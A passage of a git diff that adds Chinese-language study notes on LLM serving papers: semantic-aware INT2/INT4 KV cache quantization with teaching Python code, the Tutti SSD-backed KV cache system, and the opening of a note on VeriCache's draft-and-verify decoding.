\sum_k N_k b_k \leq B \sum_k N_k +\] + +从 INT2 升到 INT4 的 **每比特收益**: + +\[ +\rho_k = \frac{D_k(2) - D_k(4)}{2 N_k} +\] + +\(|\mathcal{S}|\) 小时枚举所有可行 \(\mathbf{b}\);更大时用贪心:按 \(\rho_k\) 降序,在预算内尽量升级。 + +### 4. 量化与内存布局细节 + +- **分组大小** \(G=32\) 的 asymmetric groupwise 量化。 +- **INT4**:K、V 均 **per-token** 量化。 +- **INT2**:K **per-channel**(避免 outlier 通道拉垮整组 scale),V **per-token**。 +- INT2 key 尾段不足一组的 residual token **走 INT4 路径**(而非 KIVI 式 FP16 residual),简化三精度 kernel。 +- **双池共享地址空间**:启动时按校准得到的 INT2/INT4 比例设 offset,单比较即可判精度。 +- **Decode**:page table 把 INT2 指针排在 INT4 之前,使 flash-decoding 每个 split **位宽同质**;新生成 token 固定写入 INT4 池。 + +### 5. 校准流程(一次性、按 workload + model) + +1. 取数据集 **5%** 作 calibration set; +2. **KV capture**:在若干均匀分布的层上 hook QKV,prefill 时抓 Q 与新 token 的 KV; +3. **Sensitivity**:对每个活跃 tag、每个 bitwidth,单独量化并重放 attention,记录 \(D_k(b)\);跨 head 取 **max**,跨 request 取 **mean**,跨 layer 取 **sum**; +4. **Budget sweep**:在 \(B \in [2,4]\) 上扫,选 **精度仍与 BF16 持平的最小 \(B\)**(Qwen3-14B BFCL 上约 **2.7 bit** 平均)。 + +--- + +## 代码示例 1:Chat-template 三维打标器(教学简化版) + +真实实现挂在 SGLang 请求调度器上,**不跑模型、不做 NLP**,只解析 special token 与轮次边界: + +```python +from dataclasses import dataclass +from enum import Enum +from typing import Iterator + +class Temporal(Enum): + CURRENT = "current" + TURN_M1 = "turn_m1" + TURN_M2 = "turn_m2" + OLDER = "older" + +class Modal(Enum): + TEXT = "text" + IMAGE = "image" + +class Semantic(Enum): + INST = "inst" + USER = "user" + ASSISTANT = "assistant" + REASONING = "reasoning" + TOOL_CALL = "tool_call" + OBS = "obs" + DELIM = "delim" + +@dataclass(frozen=True) +class TriaxialTag: + temporal: Temporal + modal: Modal + semantic: Semantic + +def tag_agent_prefill( + token_ids: list[int], + *, + user_marker: int, + assistant_marker: int, + image_start: int, + image_end: int, + think_start: int, + think_end: int, + tool_call_start: int, + tool_call_end: int, +) -> list[TriaxialTag]: + """单次线性扫描;轮次用 user_marker 切分。""" + turn_starts = [i for i, t in enumerate(token_ids) if t == user_marker] + def temporal_at(i: int) -> Temporal: + if not turn_starts: + return Temporal.CURRENT + t_idx = sum(1 for s in turn_starts if s <= i) - 1 + dist = len(turn_starts) - 1 - t_idx + return { + 0: Temporal.CURRENT, + 1: Temporal.TURN_M1, + 2: Temporal.TURN_M2, + }.get(dist, Temporal.OLDER) + + tags: list[TriaxialTag] = [] + in_image = in_think = in_tool = False + role = Semantic.DELIM + + for i, tid in enumerate(token_ids): + if tid == user_marker: + role, in_think, in_tool = Semantic.USER, False, False + elif tid == assistant_marker: + role, in_think, in_tool = Semantic.ASSISTANT, False, False + elif tid == image_start: + in_image = True + elif tid == image_end: + in_image = False + elif tid == think_start: + in_think, role = True, Semantic.REASONING + elif tid == think_end: + in_think = False + elif tid == tool_call_start: + in_tool, role = True, Semantic.TOOL_CALL + elif tid == tool_call_end: + in_tool = False + + modal = Modal.IMAGE if in_image else Modal.TEXT + if i == 0 or token_ids[i - 1] in (user_marker, assistant_marker): + if role == Semantic.ASSISTANT and not (in_think or in_tool): + role = Semantic.ASSISTANT + # 系统段通常在第一个 user 之前 + if turn_starts and i < turn_starts[0]: + role = Semantic.INST + + tags.append(TriaxialTag(temporal_at(i), modal, role)) + return tags +``` + +要点:**标签完全由模板语法驱动**,换模型只需换 special token ID 表,无需理解截图内容或工具语义。 + +--- + +## 代码示例 2:按 tag 的贪心比特分配 + +对应论文 Appendix A 的语义感知分配;枚举版在 \(|\mathcal{S}| \le 22\) 时可直接暴力搜最优: + +```python +from typing import Dict, Tuple + +Tag = Tuple[str, str, str] # (temporal, modal, semantic) +DistortionTable = Dict[Tuple[Tag, int], float] # (tag, bits) -> D_k(b) + +def per_bit_gain( + tag: Tag, + n_tokens: int, + D: DistortionTable, +) -> float: + return (D[(tag, 2)] - D[(tag, 4)]) / (2 * n_tokens) + +def greedy_allocate( + counts: Dict[Tag, int], + D: DistortionTable, + target_avg_bits: float, +) -> Dict[Tag, int]: + total = sum(counts.values()) + budget_extra = int((target_avg_bits - 2.0) * total) # 相对全 INT2 的「升级额度」 + allocation = {tag: 2 for tag in counts} + + ranked = sorted( + counts.keys(), + key=lambda t: per_bit_gain(t, counts[t], D), + reverse=True, + ) + remaining = budget_extra + for tag in ranked: + cost = 2 * counts[tag] + if cost <= remaining: + allocation[tag] = 4 + remaining -= cost + return allocation + +def allocation_mse( + allocation: Dict[Tag, int], + D: DistortionTable, +) -> float: + return sum(D[(tag, allocation[tag])] for tag in allocation) + +# 校准后典型结论(BFCL Memory):inst 语义段最敏感 → 几乎总是 INT4 +# BFCL 上约 65–75% token 走 INT2,其余 INT4,平均 ~2.7 bit +``` + +**直觉**:\(\rho_k\) 高说明「给这类 token 多加 2 bit」最划算——系统提示 / tool schema(`inst`)往往排在最前,也是 BFCL 上 uniform 2-bit(KIVI)掉点的主因:参数名、类型信息在 KV 里被抹糊,工具调用 JSON 直接错。 + +--- + +## 代码示例 3:INT2/INT4 反量化(理解 decode kernel 在做什么) + +融合 kernel 在 attention 内联类似逻辑,避免把整段 KV 先展开成 BF16: + +```python +import torch + +def dequant_asymmetric( + q: torch.Tensor, # uint8 packed, shape [n_groups, group_size] or per-token + scale: torch.Tensor, + zero_point: torch.Tensor, + bits: int, +) -> torch.Tensor: + levels = 2**bits + # 教学版:假定 q 已是 [0, levels-1] 的整数码 + return scale * (q.float() - zero_point) + +def mixed_precision_attention_step( + query: torch.Tensor, + kv_pages: list[tuple[torch.Tensor, torch.Tensor, int]], # (k_pack, v_pack, bits) + scales: list[tuple[torch.Tensor, torch.Tensor]], +) -> torch.Tensor: + """概念性 decode:逐页解压再算 attention(真实实现用 Triton tile + online softmax)。""" + keys, values = [], [] + for (k_pack, v_pack, bits), (ks, vs) in zip(kv_pages, scales): + keys.append(dequant_asymmetric(k_pack, ks[0], ks[1], bits)) + values.append(dequant_asymmetric(v_pack, vs[0], vs[1], bits)) + K = torch.cat(keys, dim=-2) + V = torch.cat(values, dim=-2) + scores = torch.softmax(query @ K.transpose(-2, -1) / (query.size(-1) ** 0.5), dim=-1) + return scores @ V +``` + +论文强调:**吞吐增益** 来自 (1) 更小 KV → 更大 batch / 并发(H100 上 Qwen3-VL-32B 并发约 **11.78 vs 3.46**);(2) 带宽受限时 decode 更快(H100 **1.52×** > B200 **1.32×**)。 + +--- + +## 实验结果速览 + +### 任务精度 + +| 基准 | 设置 | TriAxialKV Mixed vs BF16 | +|------|------|--------------------------| +| **BFCL Memory** | Qwen3-14B/32B/235B、Falcon3-10B | 差距 **≤1.1 pt** | +| **OSWorld** | Qwen3-VL-8B/32B、InternVL3.5-38B | 与 BF16 **持平或略好** | + +对比基线: + +- **SGLang FP4**:部分模型 **-4~-7 pt**(均匀低比特浮点与模型分布强耦合,不稳定); +- **KIVI(uniform 2-bit)**:BFCL 上 **-4~-5 pt**——无法保护 `inst` 段。 + +### 消融(BFCL,Qwen3) + +| 配置 | Qwen3-14B | Qwen3-32B | +|------|-----------|-----------| +| 去掉时间轴 | 22.00 | 24.00 | +| 去掉语义轴 | 18.00 | 20.89 | +| **完整三维** | **24.22** | **25.11** | + +语义轴贡献最大(去掉掉 **~6 pt**):allocator 能否单独给 system/tool schema 高精度,直接决定函数调用对不对。 + +### 平均位宽敏感性(Qwen3-14B) + +| 平均 \(B\) | 2.5 | 2.6 | **2.7(校准点)** | +|------------|-----|-----|-------------------| +| 精度 % | 16.22 | 19.56 | **24.22** | + +每降 **0.1 bit** 约丢 **5%** 精度——说明校准 sweep 不是可有可无的超参,而是 **工作点选择**。 + +--- + +## 与相关工作的关系 + +```text + 时间轴 alone 模态轴 alone 语义轴 alone + │ │ │ + PM-KVQ VL-Cache ThinKV + │ │ │ + └────────────────────┼────────────────────┘ + │ + TriAxialKV(三维联合 + 端到端 serving) +``` + +- **KIVI / KVQuant / SAW-INT4**:偏 uniform 或单维启发式,未利用 Agent trace 结构; +- **H2O / SnapKV**:驱逐 token,与量化正交; +- **OSCAR**:INT2 旋转校准,目标仍是相对均质的压缩,而非 per-tag 混合; +- **TriAxialKV**:**结构先验(模板)+ 输出导向校准 + 系统协同设计** 三件套。 + +--- + +## 局限与工程注意 + +1. **校准绑定 workload + model**:换 OSWorld → BFCL 或换 Qwen → InternVL 需重新 capture(成本低,但不是 zero-shot)。 +2. **依赖标准 chat template**:无角色标记、无 thinking/tool 括号的模型要改 tagger。 +3. **仅 INT2/INT4 两档**:更细粒度(如 3-bit)可能进一步改善 Pareto,但 kernel 与内存池复杂度上升。 +4. **`inst` 与 prefix caching**:系统段在多请求间共享,\(N_k\) 取 calibration 中位数估计,与 radix cache 协同设计。 + +--- + +## 读者可以带走的三句话 + +1. **Agent 的 KV 不是一张均匀的大表**,而是带时间层、模态层、语义层结构的日志;压缩必须「按段定价」。 +2. **该保护谁,看 attention 输出失真,不看 KV L2 误差**——这与 OSCAR、KIVI 等工作的视角一致,但 TriAxialKV 把粒度推进到 **tag 级**。 +3. **论文的价值一半在算法,一半在 SGLang 落地**(双池分页 + Triton fused decode);没有 serving 协同,4.5× KV 扩容量换不来 30% 吞吐。 + +--- + +## 延伸阅读 + +- 论文:[arXiv:2605.17170](https://arxiv.org/abs/2605.17170) +- 集成基座:[SGLang](https://github.com/sgl-project/sglang) +- 评测:**BFCL Memory**(文本函数调用)、**OSWorld**(多模态电脑操作) +- 单轴对照:PM-KVQ(时间)、VL-Cache(模态)、ThinKV(推理/非推理语义) + +--- + +## 自测题 + +1. 为什么 `inst` 标签的 token 通常应分配 INT4?若 uniform 2-bit 会怎样? +2. 三维标签里,去掉语义轴为什么比去掉时间轴伤害更大? +3. Decode 阶段为何把 INT2 页表项排在 INT4 前面?新生成 token 为什么固定进 INT4 池? +4. \(D_k(b)\) 的「只量化该类 tag」测量法,相比直接最小化 KV MSE 好在哪里? + +
+参考答案(先自己想) + +1. `inst` 含 tool schema 与系统规则,KV 误差会映射到错误的函数名/参数类型;BFCL 上 KIVI uniform 2-bit 掉 4–5 pt 即源于此。 +2. 语义轴区分 system/user/tool/obs 等 **功能迥异** 的段;去掉后 allocator 无法给 schema 单独加 bit。时间轴主要让旧轮次更激进压缩,边际收益较小。 +3. Flash-decoding 按连续 split 并行,同 split 同质位宽可单路径解压;自回归新 token 只占一小段且常与当前 query 强相关,用 INT4 保守处理。 +4. Softmax 非线性使「KV 小误差 × 大 attention 权重」与「KV 大误差 × 小权重」对输出影响不对称;输出 MSE 与任务指标更对齐。 + +
diff --git a/src/content/docs/papers/tutti-ssd-kv-cache.md b/src/content/docs/papers/tutti-ssd-kv-cache.md new file mode 100644 index 000000000..03865d785 --- /dev/null +++ b/src/content/docs/papers/tutti-ssd-kv-cache.md @@ -0,0 +1,282 @@ +--- +title: Tutti — 让 SSD 上的 KV Cache 真正可用于长上下文 LLM 推理 +来源: 'Qiu et al., "Tutti: Making SSD-Backed KV Cache Practical for Long-Context LLM Serving", arXiv:2605.03375, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:图书馆借书,谁去跑柜台? + +想象你在写一份超长报告,需要反复引用**同一套背景资料**(prefix caching 里的 KV cache)。资料太厚,放不进书桌(GPU HBM),也塞不进旁边的文件柜(CPU DRAM),只能存进**地下仓库的 NVMe 书架**(SSD)。 + +每次新开一个对话、发现「这段背景以前算过」,理想流程是:**把仓库里的笔记直接搬到 GPU 上**,跳过重复 prefill,省钱又省时间。 + +现实却像老式图书馆: + +- vLLM 的 **PagedAttention** 把 KV 切成很多小「卡片」(每块 16–32 token),在 GPU 显存里**物理上不连续**。 +- 从 SSD 恢复 128K token 的 prefix,可能要发起 **数万次** 小块随机读——像让管理员(CPU)一张一张办借书手续。 +- 即使用 **GPU Direct Storage (GDS)**,每条 I/O 仍要 CPU 发起;CPU 并行度低,成为瓶颈。 +- 结果是:GPU 空转等待数据(**GPU bubble** 占推理延迟 70%–80%),**从 SSD 读 KV 甚至比重新算一遍还慢**。 + +**Tutti**(论文来自厦大、上海交大、港科大等,已集成 vLLM)换了一个思路:**让 GPU 自己跑仓库**,CPU 只在每层异步加载一次 I/O kernel,把关键路径上的 CPU 干预从 \(O(\text{layer} \times \text{blocks})\) 降到 \(O(\text{layer})\)。论文报告:相对 GDS 版 LMCache,TTFT 降 **78.3%**,请求吞吐约 **2×**,服务成本降 **27%**,性能接近 DRAM 版 LMCache,但容量接近「无限」。 + +--- + +## 是什么 + +**Tutti** 是一个 **GPU 为中心(GPU-centric)** 的 **SSD 分层 KV cache 系统**,目标是在长上下文、高并发 LLM serving 场景下,让 **HBM–SSD 两层**(可配合 Mooncake 做集群元数据)既有大容量,又有可接受的 TTFT / ITL。 + +它解决的不是「KV 怎么算」,而是「**算好的 KV 怎么在 HBM ↔ SSD 之间高效搬运**」: + +| 层级 | 典型容量 | Tutti 视角下的角色 | +|------|----------|-------------------| +| GPU HBM | 80 GB 级 | 热 KV,推理主战场 | +| CPU DRAM | TB 级以下 | 可选中间层;Tutti 主攻 HBM–SSD 直连 | +| NVMe SSD | 100 TB+ 级 | 冷 KV 持久化;prefix 命中率可 >80% | + +与 **LMCache + GDS** 的对比(论文 Figure 1): + +- **CPU-centric**:CPU 管索引、发 I/O、同步;GDS 去掉 bounce buffer,但**控制面仍在 CPU**。 +- **Tutti(GPU-centric)**:CPU 做 hash 映射、预分配 GPU file;**数据面 + I/O 控制面在 GPU**,通过 **GPU io_uring (gio_uring)** 异步提交海量 NVMe 请求。 + +--- + +## 为什么重要 + +### 1. Prefix caching 已是 MaaS 标配 + +相同 system prompt、多轮对话、Agent 工具链都会复用 prefix。命中时可跳过大量 prefill,**单 token 成本可降一个数量级**。但 KV 随上下文长度 × 并发会话线性增长,HBM 很快不够。 + +### 2. DRAM 不够,SSD 又「理论上够、实际上慢」 + +商业服务器可配 **100 TB+ NVMe**;论文引用行业数据:约 2 TB DRAM 也只能保留约 **5 分钟** 的 KV。SSD 是唯一现实的大容量层,但 prior work 显示 SSD tier 常因 I/O 碎片化 + CPU 瓶颈而**不如重算**。 + +### 3. 推理引擎越来越快,I/O 短板更刺眼 + +vLLM 0.12 → 0.17 计算优化后,GDS 路径的相对劣势更明显:算得更快,等 KV 的时间占比更高。Tutti 的存储–计算协同设计在**新一代 serving 栈**上仍保持最优 TTFT。 + +--- + +## 核心概念 + +### 1. Prefill、Decode 与 KV Cache(复习) + +- **Prefill**:并行处理输入 prompt,生成各层 K/V;指标 **TTFT**(Time to First Token)。 +- **Decode**:自回归逐 token 生成;指标 **ITL**(Inter-Token Latency)。 +- **Prefix caching**:不同请求共享相同 prompt 前缀时,复用已有 K/V,跳过 prefill 计算。 + +### 2. PagedAttention 带来的 I/O 碎片化 + +vLLM / SGLang 等把 KV 切成 block,形状约 `[Block, num_heads, head_dim]`,每 block 16–32 token。逻辑上连续的 prefix,在显存和 SSD 上都是**大量离散小块**。 + +论文量化(Qwen3-32B,block=64):重载 **128K token** KV 约需 **256K 个** 分散的 ~80KB 对象——对 SSD 是灾难级随机小 I/O。 + +### 3. GPU 原生对象抽象(Object Store) + +Tutti 在 **GeminiFS** 之上扩展 **GPU-centric object store**: + +- 每个 **KV memory block** 对应 **一个对象**;一个 GPU file 含 **2×L 个对象**(每层 K 一个、V 一个)。 +- **Tensor-Stripe** 布局:按张量粒度条带化到多块 NVMe,而非细粒度 storage striping,使 **I/O 粒度与 KV transfer 对齐**。 +- 启动时 **预分配 NVMe file pool**;运行时 CPU 只做 `hash(KV) → GPU file ID`,**不在关键路径创建/删除文件**。 +- **P2P 内存映射表**:KV pool 地址固定,启动时预计算 **SGL(Scatter-Gather List)** 描述符,避免运行时逐页 PRP 构造(60GB KV 用 PRP 可能浪费 ~3.75GB HBM,SGL 约 **15MB**)。 + +### 4. GPU io_uring (gio_uring) + +模仿 Linux **io_uring**: + +- CPU 在 GPU HBM 里准备 **SQ/CQ 环形队列** 和 **IOCB**(每个 IOCB 含最多 2048 个 IOCTX)。 +- GPU I/O kernel 在专用 SM 上 **直接写 NVMe SQ、轮询 CQ**,无需 CPU 逐条 `read()`。 +- 用 **NVIDIA Green Context** 划分 **Compute Domain** 与 **I/O Control Domain**,避免 I/O kernel 饿死 attention kernel。 + +### 5. Slack-Aware I/O 调度 + +两个问题: + +1. **读写同时打 SSD** 时,带宽可能掉 **60%**(NVMe 内部 cache 争用)。 +2. I/O kernel 与 GEMM/Attention **争 SM**。 + +Tutti **离线 profiling** 每层、每种 `(input_len, prefix_len)` 下的 **slack 窗口**(有空闲 SM、且适合发 I/O 的时间段),查表决定: + +- **Read** 优先(在 reuse 关键路径上)。 +- **Write** 延后到 slack 或 decode 阶段 **best-effort** 刷盘。 +- **读写解耦调度**,不做 naive layer-wise 读写 overlap。 + +### 6. vLLM 集成 + +~8000 行 C++ + ~1500 行 Python,挂 **KVConnector**,暴露 `retrieve_layer` / `store_layer`,与 vLLM block manager 粒度一致。多 GPU 时每卡独立 Tutti 实例 + 独立 NVMe 队列对;集群层可配合 **Mooncake** 做副本元数据与 local-first 路由。 + +--- + +## 问题从哪来:一个数字例子 + +下面用简化 Python 说明 **Paged KV → 海量 I/O**(教学用,非论文源码): + +```python +def count_kv_io_ops( + num_layers: int, + seq_len: int, + block_size: int, + kv_bytes_per_token_per_layer: int = 2 * 2 * 4096, # K+V, fp16, hidden≈4096 +) -> dict: + """估算从 SSD 恢复 prefix KV 时的逻辑 I/O 对象数量。""" + blocks_per_layer = (seq_len + block_size - 1) // block_size + # vLLM: 每层 K block + V block 各一份,物理上常分开存 + objects_per_layer = 2 * blocks_per_layer + total_objects = num_layers * objects_per_layer + avg_object_bytes = block_size * kv_bytes_per_token_per_layer // 2 # 单层 K 或 V + return { + "total_objects": total_objects, + "avg_object_kb": avg_object_bytes // 1024, + "example": "Qwen3-32B, 128K, block=64 → ~256K objects @ ~80KB", + } + +# 论文量级 +print(count_kv_io_ops(num_layers=64, seq_len=128 * 1024, block_size=64)) +# total_objects ≈ 262144,且多为随机读 → CPU 发 I/O 成为瓶颈 +``` + +LMCache 默认 **256 token chunk** 时,128K prefix 仍要 **1000+ chunk 访问**;若 layer-wise pipeline,访问次数可到 **数万**。这就是 Tutti 要用 **bulk object + GPU 并行发 I/O** 的原因。 + +--- + +## Tutti 怎么用:接口与调度(概念代码) + +论文实现的 **layer-wise** API 与 gio_uring 用法可概括为: + +```python +# 概念性 Python:Tutti 在 vLLM KVConnector 中的调用形态 +class TuttiKVConnector: + def __init__(self, gpu_file_pool, gio_ring, slack_table): + self.pool = gpu_file_pool + self.ring = gio_ring + self.slack = slack_table # offline profile: (layer, L_in, L_prefix) -> slack + + def on_prefix_hit(self, request): + """Reuse 关键路径:按层 retrieve。""" + for layer in range(self.num_layers): + slack = self.slack.lookup( + layer, request.input_len, request.prefix_len + ) + iocbs = self.pool.resolve_iocbs(request.kv_blocks, layer) + if slack.can_overlap: + # 在 slack 窗口内批量提交,与下一层 compute overlap + self.ring.issue_io_async(iocbs, sm_budget=slack.sm_budget) + else: + # 无 slack → 立即 read,避免 stall attention + self.ring.issue_io_sync(iocbs) + self.ring.wait_layer_ready(layer) # GPU 侧 wait_cqe,无 CPU 逐 I/O + + def on_kv_evict(self, request): + """非关键路径:store 可延后。""" + for layer in range(self.num_layers): + if self.slack.has_write_window(layer): + self.ring.enqueue_store(iocbs=self.pool.store_iocbs(...)) + else: + self.ring.defer_store(...) # decode 阶段 best-effort flush +``` + +底层 **gio_uring** 四步(论文 §3.2): + +```cpp +// 概念性 C++:GPU io_uring 生命周期 +void tutti_prefill_layer(int layer, TuttiRuntime* rt) { + // 1. CPU 已 init_queue;每层一次 get_iocb + IoCbBatch batch = rt->gio->get_iocb(/*nums=*/max_parallel, /*event=*/compute_done); + + // 2. CPU 填 SGL 地址、GPU file offset(O(layer),非 O(layer×blocks)) + rt->object_store->fill_iocbs_from_p2p_table(batch, layer, kv_blocks); + + // 3. GPU I/O domain 专用 SM 上 issue_io + rt->gio->issue_io(batch.ids, /*SMs=*/io_domain_sms); + // NVMe SQ/CQ 操作在 GPU kernel 内完成 + + // 4. compute stream 通过 CUDA event 依赖 I/O 完成 + rt->gio->wait_cqe(batch); // 细粒度等待,无需 CPU 参与每条 I/O + run_attention_layer(layer); +} +``` + +--- + +## 与相关工作的关系 + +| 系统 / 技术 | 做什么 | Tutti 的差异 | +|-------------|--------|--------------| +| **LMCache** | 分层 KV;chunk 聚合;可选 GDS | Tutti 消除 CPU 关键路径,bulk object + gio_uring | +| **GDS** | GPU↔SSD P2P DMA | 仍 CPU 发起 I/O;Tutti 把控制面也放到 GPU | +| **GeminiFS / BaM** | GPU 直接管 NVMe | 通用块/文件抽象;Tutti 针对 KV object + SGL + slack 调度 | +| **Mooncake** | 分布式 KV 调度 | Tutti 做节点内 fast path;Mooncake 管集群元数据 | +| **HCache / FlashGen** | DRAM 层 compute-I/O overlap | SSD 上 naive pipeline 会加剧读写争用;Tutti 读写解耦 | + +压缩类工作(NestedKV、KV-Fold 等)解决 **显存里放多少 KV**;Tutti 解决 **放不下的 KV 怎么从 SSD 快速搬回来**——正交,可叠加。 + +--- + +## 实验结果(论文摘要) + +**环境**:双 H100 80GB、512GB DRAM、4× Solidigm D7-PS1010 7.68TB、RAID-0;对比 vLLM 0.12 / 0.17 + LMCache(HBM / DRAM-LW / SSD / GDS)。 + +**工作负载**:LEval(3K–200K token)、LooGLE(常 >100K);Poisson 到达的多会话并发。 + +**命中率(Table 1)**:HBM 8%/4%;DRAM 53%/24%;**SSD 84%/86%**——大容量 tier 显著提高 reuse。 + +**TTFT**(严格 SLO 下): + +- LEval + v0.17:Tutti 比 GDS 低 **78.3%**;有效 RPS **+100%** vs GDS,**+50%** vs DRAM。 +- LooGLE 0.6 RPS:Tutti TTFT 约为 GDS 的 **1/2.63**。 + +**带宽微基准**: + +- Retrieve:Tutti 最高 **25.9 GB/s** vs GDS ~11.9 GB/s(**2.08×**)。 +- **SGL vs PRP**:单线程 500MB 读写,带宽 **31× / 91×** 提升。 + +**GPU bubble**:Tutti 将 stall 压到接近 **0**;GDS/SSD baseline 仍 **>70%**。 + +**成本**:SSD-backed Tutti 服务成本降 **27%**;性能 **接近 DRAM-backed LMCache**。 + +**极限上下文**:GLM-4-9B-1M、640K input,2 GPU + 4 盘;LMCache-GDS OOM,Tutti TTFT **1.2s**。 + +--- + +## 设计取舍与局限 + +**优势** + +- 真正释放 NVMe 带宽,prefix caching 在 SSD tier **从「不可用」变为「接近 DRAM」**。 +- 与 vLLM PagedAttention **block 粒度对齐**,引擎改动可控。 +- Slack 调度 + SM 分区,针对 LLM **layer 依赖** 定制,而非通用存储 benchmark。 + +**代价 / 未覆盖** + +- 依赖 **GeminiFS、Green Context、NVMe SGL** 等较新栈;部署复杂度高于纯 LMCache。 +- **远程 KV** 仍走 CPU staging + RDMA,未 GPU-direct RDMA(论文 future work)。 +- 离线 slack profile 需按模型/硬件 **warm-up**;配置变化要重新 profiling。 +- 与 KV **压缩** 结合时的 object 布局、是否仍 bulk-friendly,论文未深入。 + +--- + +## 零基础自检清单 + +读完后,你应该能回答: + +1. **为什么 GDS 不够?** — 控制路径仍在 CPU;paged KV 导致海量小 I/O,CPU 发不过来。 +2. **Tutti 的三板斧?** — GPU object store、gio_uring、slack-aware 读写解耦调度。 +3. **SGL 解决什么?** — 中等粒度 KV transfer 的 NVMe 描述符开销;省 HBM、提带宽。 +4. **TTFT vs ITL** — Tutti 主要改善 prefill 阶段 KV **retrieve**;decode 也受益于更高 hit + 更少 bubble。 +5. **和 prefix caching 的关系?** — Tutti 不替代 caching 策略,而是让 **SSD tier 的 cache hit 真正省钱省时间**。 + +--- + +## 进一步阅读 + +- 论文:[arXiv:2605.03375](https://arxiv.org/abs/2605.03375) +- 背景:**PagedAttention**(vLLM)、**LMCache**、**GPU Direct Storage**、**GeminiFS** +- 同仓库笔记:`kv-fold.md`(KV 递推)、`nestedkv.md`(KV 压缩)— 与 Tutti 的「分层存储 I/O」互补 + +--- + +## 一句话总结 + +**Tutti 把「从 SSD 搬 KV」从 CPU 柜台排队,改成 GPU 仓库管理员批量异步发货:对象化 KV、GPU io_uring 饱和 NVMe、slack 调度避免与算力打架——让 TB 级 prefix cache 的长上下文 serving 第一次变得和 DRAM 一样实用。** diff --git a/src/content/docs/papers/vericache.md b/src/content/docs/papers/vericache.md new file mode 100644 index 000000000..f826bb7db --- /dev/null +++ b/src/content/docs/papers/vericache.md @@ -0,0 +1,292 @@ +--- +title: VeriCache — 把有损 KV Cache 变成无损 LLM 推理 +来源: 'Jiayi Yao et al., "VeriCache: Turning Lossy KV Cache into Lossless LLM Inference", arXiv:2605.17613, Microsoft Research / University of Chicago / Tensormesh, 2026' +日期: 2026-06-13 +子分类: 模型与训练 +分类: 机器学习 +provenance: pipeline-v3 +--- + +## 从日常类比开始:草稿纸 + 标准答案 + +想象你在参加一场**开卷考试**,参考书厚得像字典,但考场规定:**桌上只能放一本「精简版笔记」**,完整字典必须锁在储物柜里。 + +- **直接抄精简版**:写得快,但笔记删掉了细节。前几题可能全对,写到第 200 题时,某个关键公式被省略,后面整篇答案会**越写越偏**——这就是 **有损 KV 压缩** 直接用于推理时的典型命运。 +- **每题都搬整本字典上桌**:答案和标准卷完全一致,但搬书、翻页极慢,吞吐量崩掉——这就是 **全量 KV cache** 在长上下文下的代价。 +- **VeriCache 的做法**:平时只用精简笔记**快速起草**若干步答案;每隔一段,把字典里对应章节**搬上来对照**——对的段落保留,第一个错字立刻用标准答案纠正,然后继续起草。最终交卷内容与「全程抱着字典写」**逐字相同**,但大部分时间在写草稿,搬字典的开销被摊薄。 + +论文要解决的,正是 LLM 推理里长期存在的 **准确率–吞吐量二选一**:压缩 KV 能省显存、提 batch、减传输,但输出会随生成长度**系统性偏离**全 KV 推理;VeriCache 用 **起草 + 验证** 把压缩 KV 变成「加速器」而非「替代品」,在 greedy decoding 下保证与全 KV **比特级一致**(论文定义:零温度 greedy,硬件浮点噪声除外)。 + +--- + +## 是什么 + +**VeriCache** 是首个在推理框架层面保证 **与全 KV cache 解码输出相同**,同时 largely 保留各类 KV 压缩算法吞吐收益的 система。它受 **投机解码(speculative decoding)** 启发,但关键差异在于: + +1. **起草端(drafter)与验证端(verifier)是同一套模型权重**,只是 KV 不同——压缩 KV vs 完整 KV。 +2. **完整 KV 默认不在 GPU HBM 里**,验证时才从 CPU DRAM(长上下文解码)或远端/本地存储(prefix caching)换入,从而真正吃到压缩带来的 batch 与带宽红利。 +3. 通过 **跨资源交错调度(cross-resource staggering)** 和 **高接受率(长 draft horizon)**,把验证开销压到可接受范围。 + +实验(基于 vLLM + LMCache):长上下文解码最高约 **4×** 吞吐,远端 prefix caching 最高约 **2×**,输出与全 KV 一致;支持 token dropping 与量化等多类压缩器,经统一 **compressor interface** 接入,并可与传统 Eagle 等小模型投机解码 **叠加**。 + +--- + +## 为什么重要 + +### KV cache 已是 serving 的主瓶颈 + +Decoder 推理分 **prefill**(为 prompt 建 KV)和 **decode**(自回归读 KV 生成 token)。上下文到 100K–1M token 后: + +| 瓶颈类型 | 表现 | +|----------|------| +| 单请求内 | 每步 decode 要从 HBM 读**整段** KV;Llama-3.1-8B-1M 在 500K context 上,100 token 解码约 **2.5s**(论文量级) | +| 多请求 batch | KV 占满显存 → batch size 从 ~50(2K ctx)掉到 **1**(100K ctx,Qwen-32B 量级) | +| 跨请求复用 | 共享 prefix 的 KV 从 S3/网络加载;100K prefix 加载可与 prefill 同量级,**复用收益被传输吃掉** | + +### 有损压缩的「软指标陷阱」 + +H2O、SnapKV、KVzip、KIVI、TurboQuant 等能把 KV 缩 **2–5×**,但几乎**全部有损**:改写了 attention 所见的 K/V,下一步分布从 \(p_{\text{full}}\) 变成 \(p_{\text{lossy}}\)。 + +论文指出: + +- **F1、ROUGE、perplexity** 对短输出、开放问答仍「看起来不错」(F1 可 >75%)。 +- **功能正确性**(代码 diff 语法、tool call 参数完全匹配)在 KVzip 4× 下可**接近归零**。 +- 根因是 **逐步 KL 散度累积**:每步仅 ~0.023 nats 的偏差,250 步后序列级 KL ~6 nats,全 KV 序列在 lossy 分布下的概率约 \(e^{-6}\)——**指数级**偏离。 + +对代码生成、Agent 工具调用、结构化输出,「语义差不多」不够;VeriCache 的价值是:**_compression 不应替换精确计算,而应加速精确计算_**。 + +--- + +## 核心概念 + +### 1. KV cache 与两种压缩策略 + +每层为历史 token 缓存 **Key / Value**,供后续 query attend。压缩大致两类(论文 Table 1 归纳): + +- **Token dropping**:改 KV 形状——StreamingLLM 留 sink + 滑窗;DuoAttention 分 full/sparse head;KVzip 按重要性驱逐等。 +- **KV quantization**:改精度——KVQuant、KIVI、TurboQuant、CacheGen 等。 + +VeriCache **不发明新压缩算法**,而是给任意符合接口的压缩器套上 **draft 层**。 + +### 2. Draft–Verify–Accept 循环 + +记 \(\text{KV}_{\text{comp}}\) 为压缩 cache,\(\text{KV}_{\text{full}}\) 为完整 cache: + +```text +loop until EOS: + (1) Draft: 用 KV_comp 自回归生成 x 个候选 token: t₁…t_x + (2) Verify: 用 KV_full 对 x 个位置做**一次并行 forward**,得到 t₁*…t_{x+1}* + (3) Accept: 找第一个 j 使 t_j ≠ t_j*;接受 t₁…t_{j-1} 与修正 t_j*;若全匹配则接受 t₁…t_x 及 bonus t_{x+1}* + 